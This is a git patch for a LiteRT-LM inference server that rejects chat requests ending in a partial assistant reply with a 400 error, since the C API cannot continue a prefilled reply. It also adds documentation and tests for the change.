below is no top-k limit, From 424a9254adca75563fe5143bd1c14e5b8346a752 Mon Sep 17 00:00:00 2001 From: ciroprogamer86 <132161765+ciroprogamer@users.noreply.github.com> Date: Sat, 24 Oct 2026 20:33:18 +0000 Subject: [PATCH 80/80] fix(litert-lm-server): a reply the server cannot continue is a 400 A conversation that ends with the assistant's own words, a client prefilling the start of the reply (the daemon's gateway passes those through: openai-guidance.ts and agent-guidance.ts know clients do it), asks for that reply to be continued. LiteRT-LM 0.18.0 can do that only from C++ (OptionalArgs::has_pending_message, runtime/conversation/conversation.h); its C API has no such option, so the server sent the partial reply as a finished turn and the model began a new one, which the client then appended to its prefill: on LFM2.5-230M, [user "What is the capital of France?", assistant "The capital of France is"] got "The capital of France is Paris." (26 prompt tokens against 16 for the question alone: the partial reply was closed as a turn), so the client showed "The capital of France is The capital of France is Paris.". TurboLLM's own chat never ends a request with an assistant message (its retries and title requests end with a user turn). Older bug: origin/main has it (the last message is always sent as a new turn). - engines/litert-lm-server/src/main.cc: a last message from the assistant without tool calls is a 400 "Invalid messages: the last message is the assistant's, and this server cannot continue a reply (LiteRT-LM's C API has no way to); end with a user or tool message". A last assistant message whose tool_calls is null or empty, as clients that write out every optional field send a plain reply, counts as one without tool calls. An assistant turn of tool calls, and assistant turns earlier in the history, are as before. - BUILDING-ENGINES.md: says so under "What the server is". Behaviour change: a request that ends with a partial assistant reply gets a 400 instead of a new reply that duplicates the prefill. Tests: in engines/litert-lm-server/model-settings.test.mjs, against the stand-in library: "a conversation that ends with the assistant's words is a 400 that says the reply cannot be continued" (streamed or not, string or parts, tool_calls absent, null or empty; tool calls and history are unaffected). With main.cc as it was it fails (200s), and it fails too when only a message without a tool_calls key counts (200s for null and empty). No existing test changed. --- BUILDING-ENGINES.md | 5 +++++ .../litert-lm-server/model-settings.test.mjs | 22 +++++++++++++++++++ engines/litert-lm-server/src/main.cc | 14 ++++++++++++ 3 files changed, 41 insertions(+) diff --git a/BUILDING-ENGINES.md b/BUILDING-ENGINES.md index 91871f7..79dad28 100644 --- a/BUILDING-ENGINES.md +++ b/BUILDING-ENGINES.md @@ -460,6 +460,11 @@ start, the engine falls back to the next one the model lists, CPU for most, and does not list, and the server logs why; when none starts, the error gives each one's reason. A backend the user set is used as set, failing as before. +**A conversation that ends with the assistant's own words is a 400.** A client that prefills the +start of a reply asks for it to be continued, which LiteRT-LM 0.18.0 can do only from C++ +(`has_pending_message`); through the C API the partial reply was sent as a finished turn and the +model began a new one, which the client then appended to its prefill. + **The library is loaded with `dlopen(RTLD_LOCAL)`, not linked**, and the server's own C++ runtime is static and unexported. `liblitert-lm.so` carries its own statically linked C++ runtime and *exports* it; when the server was linked against the library, the linker diff --git a/engines/litert-lm-server/model-settings.test.mjs b/engines/litert-lm-server/model-settings.test.mjs index 5b3e5df..4f75b63 100644 --- a/engines/litert-lm-server/model-settings.test.mjs +++ b/engines/litert-lm-server/model-settings.test.mjs @@ -1061,3 +1061,25 @@ test('n above 1, logprobs and top_logprobs, which LiteRT-LM cannot give, are 400 assert.deepEqual(await chat(fake, { model, messages: hello, ...request }), { status: 400, error }, JSON.stringify(request)) } }) + +test('a conversation that ends with the assistant\'s words is a 400 that says the reply cannot be continued', { skip, timeout: 60_000 }, async () => { + const model = readable('plain') + const error = "Invalid messages: the last message is the assistant's, and this server cannot continue a reply " + + "(LiteRT-LM's C API has no way to); end with a user or tool message" + for (const stream of [false, true]) { + for (const last of [ + { role: 'assistant', content: 'The capital of France is' }, + { role: 'assistant', content: [{ type: 'text', text: 'The' }] }, + // with no calls, as clients that write out every optional field send a plain reply + { role: 'assistant', content: 'The capital of France is', tool_calls: null }, + { role: 'assistant', content: 'The capital of France is', tool_calls: [] }, + ]) { + const reply = await chat(fake, { model, messages: [{ role: 'user', content: 'What is the capital of France?' }, last], stream }) + assert.deepEqual(reply, { status: 400, error }) + } + } + // An assistant turn of tool calls, and the history's own assistant turns, are as before. + const calls = { role: 'assistant', content: null, tool_calls: [{ id: 'c1', type: 'function', function: { name: 'get_weather', arguments: '{}' } }] } + assert.equal((await chat(fake, { model, messages: [...hello, calls] })).status, 200) + assert.equal((await chat(fake, { model, messages: [...hello, { role: 'assistant', content: 'Hi.' }, ...hello] })).status, 200) +}) diff --git a/engines/litert-lm-server/src/main.cc b/engines/litert-lm-server/src/main.cc index b712527..d779ad7 100644 --- a/engines/litert-lm-server/src/main.cc +++ b/engines/litert-lm-server/src/main.cc @@ -1813,6 +1813,20 @@ void HandleChatCompletions(int fd, const Request& req) { } // conversation.normalize_message: a bare string is a user turn. if (prompt.is_string()) prompt = {{"role", "user"}, {"content", prompt}}; + // A conversation that ends with the assistant's own words (a client prefilling the start of the reply, which the + // daemon's gateway passes through) asks for that reply to be continued. LiteRT-LM 0.18.0 can do that only from + // C++ (OptionalArgs::has_pending_message, runtime/conversation/conversation.h); its C API has no way to, so the + // message was sent as a finished turn and the model began a new reply: [user "What is the capital of France?", + // assistant "The capital of France is"] got "The capital of France is Paris.", which a client appending it to its + // prefill doubles. A 400 that says so instead. An assistant turn of tool calls is the model's own, as before; one + // whose tool_calls is null or empty, as clients that write every optional field send a plain reply, has none. + const bool has_calls = prompt.is_object() && prompt.contains("tool_calls") && prompt["tool_calls"].is_array() && + !prompt["tool_calls"].empty(); + if (prompt.is_object() && prompt.value("role", "") == "assistant" && !has_calls) { + SendError(fd, req, 400, "Invalid messages: the last message is the assistant's, and this server cannot continue " + "a reply (LiteRT-LM's C API has no way to); end with a user or tool message"); + return; + } // max_completion_tokens, or max_tokens, OpenAI's older name for it, which the server did not read: a client that // sent max_tokens 5 got the whole reply. Below 1 is a 400, as OpenAI answers it: the runtime generated one token